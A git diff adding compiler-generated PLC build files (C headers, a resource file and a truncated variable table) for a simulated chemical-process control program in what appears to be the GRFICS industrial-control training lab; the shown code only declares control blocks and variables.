__SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; 